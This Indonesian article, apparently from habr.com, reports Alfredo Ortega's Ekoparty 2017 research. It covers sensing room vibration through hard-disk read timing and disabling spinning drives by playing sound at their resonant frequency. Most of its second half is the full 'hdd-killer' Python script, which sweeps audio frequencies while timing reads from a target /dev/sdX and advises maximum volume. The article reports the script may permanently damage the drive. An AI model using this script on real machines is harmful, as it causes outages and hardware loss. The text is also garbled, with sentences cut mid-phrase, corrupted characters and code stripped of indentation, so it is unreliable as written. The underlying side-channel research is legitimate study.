Pada konferensi keamanan komputer Ekoparty 2017 di Buenos Aires, peretas Argentina Alfredo Ortega menunjukkan perkembangan yang sangat menarik - sebuah sistem untuk penyadapan rahasia di suatu tempat tanpa menggunakan mikrofon. Suara
HDD terutama menangkap suara frekuensi rendah berintensitas tinggi, langkah kaki, dan getaran lainnya. Ucapan manusia belum bisa dikenali, meskipun para ilmuwan
Bunyi adalah getaran udara atau medium lain. Seseorang merasakannya melalui gendang telinga, yang mengirimkan getaran ke telinga bagian dalam. Mikrofon dirancang kira-kira seperti telinga - di sini juga, getaran direkam oleh selaput tipis, yang menggairahkan impuls listrik. Harddisk tentunya juga rentan terhadap getaran mikroskopis akibat fluktuasi udara di sekitarnya. Hal ini diketahui bahkan dari karakteristik teknis HDD: pabrikan biasanya menunjukkan tingkat getaran maksimum yang diizinkan, dan hard drive itu sendiri sering kali mencoba menempatkannya dalam wadah tahan getaran yang terbuat dari karet atau bahan isolasi lainnya. Dari sini mudah untuk menyimpulkan bahwa suara dapat direkam menggunakan HDD. Yang tersisa hanyalah mencari tahu caranya.
Alfredo Ortega mengusulkan versi unik dari serangan saluran samping, yaitu serangan waktu. Serangan ini didasarkan pada asumsi bahwa operasi berbeda dilakukan pada perangkat pada waktu berbeda, bergantung pada data masukan yang diberikan. Dalam hal ini, βdata masukanβ adalah getaran kepala pembaca dan pelat HDD, yang berkorelasi dengan getaran lingkungan, yaitu dengan suara. Jadi, dengan mengukur waktu komputasi dan melakukan analisis statistik terhadap data, getaran head/platter dan getaran medium dapat diukur. Semakin lama penundaan dalam membaca data, semakin kuat getaran HDD dan karenanya, semakin keras suaranya.
Bagaimana cara mengukur getaran harddisk? Sangat sederhana: jalankan saja system call read ()
β dan catat waktu yang diperlukan untuk menyelesaikannya. Sistem operasi modern memungkinkan Anda membaca waktu panggilan sistem dengan akurasi nanodetik.
Kecepatan membaca informasi dari suatu sektor bergantung pada posisi head dan platter, yang berkorelasi dengan getaran casing HDD. Itu saja.
Analisis statistik dilakukan dengan menggunakan utilitas Kscope sederhana. Seperti kata pepatah, segala sesuatu yang cerdik itu sederhana.
Utilitas Kscope (stat() panggilan sistem)
Kscope adalah utilitas kecil untuk memvisualisasikan perbedaan kecil dalam waktu eksekusi panggilan sistem. Sumber
Di repositori terpisah read ()
.
Demonstrasi perekaman suara menggunakan HDD, pengoperasian utilitas Kscope
Tentu saja ucapan tidak dapat dipahami dengan cara ini, namun HDD cukup cocok sebagai sensor getaran. Misalnya, Anda dapat mendaftar jika seseorang yang memakai sepatu keras atau bertelanjang kaki memasuki ruangan dengan komputer (mungkin, jika penyerang mengenakan sepatu kets lembut atau ada karpet tebal di lantai, HDD tidak akan dapat mendeteksi getaran - ini layak untuk diperiksa). Komputer mampu mendeteksi pecahan kaca atau kejadian lain dengan intensitas suara yang kuat. Artinya, hard drive dapat berfungsi sebagai semacam sistem deteksi intrusi yang tidak sah.
Pembunuh HDD
Omong-omong, teknik serupa juga dapat digunakan untuk menonaktifkan hard drive. Hanya di sini kami tidak menghilangkan osilasi dari HDD, tetapi sebaliknya, kami menghasilkan osilasi yang diumpankan ke HDD. Jika Anda memutar suara dari speaker pada frekuensi yang beresonansi dengan frekuensi HDD, sistem akan segera mematikan perangkat dengan kesalahan I/O (kernel Linux mematikan HDD sepenuhnya setelah 120 detik). Hard drive itu sendiri mungkin mengalami kerusakan permanen.
Kernel Linux mematikan hard drive setelah 120 detik mengirimkan suara pada frekuensi resonansi melalui speaker speaker USB Edifier r19u. Speaker dihidupkan dengan daya sekitar seperempat (kurang dari 100 mW) dan terletak 20 cm dari HDD, ditujukan ke meja untuk meningkatkan getaran. Bingkai dari
Sangat mengherankan bahwa βseranganβ terhadap HDD seperti itu terkadang terjadi secara tidak sengaja dalam kehidupan sehari-hari. Misalnya, pada bulan September 2016, pusat data ING Bank terpaksa menghentikan operasinya selama 10 jam setelah latihan kebakaran.
Demonstrasi manusia berteriak pada hard drive di pusat data. Pengukuran latensi
Untuk menghasilkan suara yang beresonansi, Alfredo Ortega menulis skrip Python yang disebut
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Sumber: www.habr.com